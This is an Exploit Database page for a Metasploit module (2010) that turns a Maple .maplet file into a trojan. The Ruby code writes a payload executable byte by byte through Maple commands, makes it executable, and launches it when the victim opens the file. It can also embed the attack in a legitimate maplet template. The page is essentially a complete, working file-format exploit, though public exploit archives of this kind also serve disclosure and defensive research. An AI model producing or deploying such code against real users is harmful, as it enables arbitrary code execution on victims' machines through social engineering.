



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Maple Maplet - File Creation / Command Execution (Metasploit)

**EDB-ID:**

16308

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[REMOTE](#)

**Exploit:**   / 

**Platform:**

[MULTIPLE](#)

**Date:**

2010-09-20

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# $Id: maple_maplet.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Maple Maplet File Creation and Command
Execution',
      'Description' => %q{
          This module harnesses Maple's ability to create files
and execute commands
          automatically when opening a Maplet. All versions up to 13
are suspected
          vulnerable. Testing was conducted with version 13 on
Windows. Standard security
          settings prevent code from running in a normal maple
worksheet without user
          interaction, but those setting do not prevent code in a
Maplet from running.

          In order for the payload to be executed, an attacker must
convince someone to
          open a specially modified .maplet file with Maple. By doing
so, an attacker can
          execute arbitrary code as the victim user.
        },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'scriptjunkie'
        ],
      'Version' => '$Revision: 10394 $',
      'References' =>
        [
          [ 'OSVDB', '64541' ],
          [ 'URL', 'http://www.maplesoft.com/products/maple/' ]
        ],
      'Payload' =>
        {
          'Space' => 1024,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat' =>
            #
            #
            #
            #
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets' =>
        [
          [ 'Windows',
            {

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

        'Arch'      => ARCH_X86,
        'Platform' => 'win'
      }
    ],
    [ 'Windows X64',
      {
        'Arch'      => ARCH_X86_64,
        'Platform' => 'win'
      }
    ],
    [ 'Linux',
      {
        'Arch'      => ARCH_X86,
        'Platform' => 'linux'
      }
    ],
    [ 'Linux X64',
      {
        'Arch'      => ARCH_X86_64,
        'Platform' => 'linux'
      }
    ],
    ['Universal CMD',
      {
        'Arch'      => ARCH_CMD,
        'Platform'  => ['unix', 'win', 'linux']
      }
    ]
  ],
  'DisclosureDate' => 'Apr 26 2010',
  'DefaultTarget'  => 0))

register_options(
  [
    OptString.new('TEMPLATE', [ false, 'The file to infect.',
'']),
    OptString.new('FILENAME', [ true, 'The output file.',
'msf.maplet']),
  ], self.class)

end

def exploit
  cmd = ''
  content = ''
  if target['Arch'] != ARCH_CMD
    #Get payload as executable on whatever platform
    binary = generate_payload_exe

    #Get filename and random variable name for file handle in
script
    fname = rand_text_alpha(3+rand(15))
    if target['Platform'] == 'win'
      fname << ".exe"
    end
    fhandle = rand_text_alpha(3+rand(15))

    #Write maple commands to create executable
    content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
    exe = binary.unpack('C*')

    content << "writebytes(#{fhandle},[#{exe[0]}]"
    lines = [

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

lines = []
1.upto(exe.length-1) do |byte|
  if(byte % 100 == 0)
    lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}]"
  else
    lines.push ",#{exe[byte]}"
  end
end
content << lines.join("") + "]);\r\n"

content << "fclose(" + fhandle + ");\n"
#Write command to be executed
if target['Platform'] != 'win'
  content << "system(\"chmod a+x #{fname}\");\n"
end
content << "system[launch](\"#{fname}\");\n"
else
  content << "system(\"#{payload.encoded}\");\n"
end

#Then put the rest of the original maplet
if datastore['TEMPLATE'] != ''
  File.open(datastore['TEMPLATE'], 'rb') do |fd|
    content << fd.read( File.size(datastore['TEMPLATE']) )
  end
end

# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(content)
end
end

```

Tags: [Metasploit Framework](#)  
(MSE)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.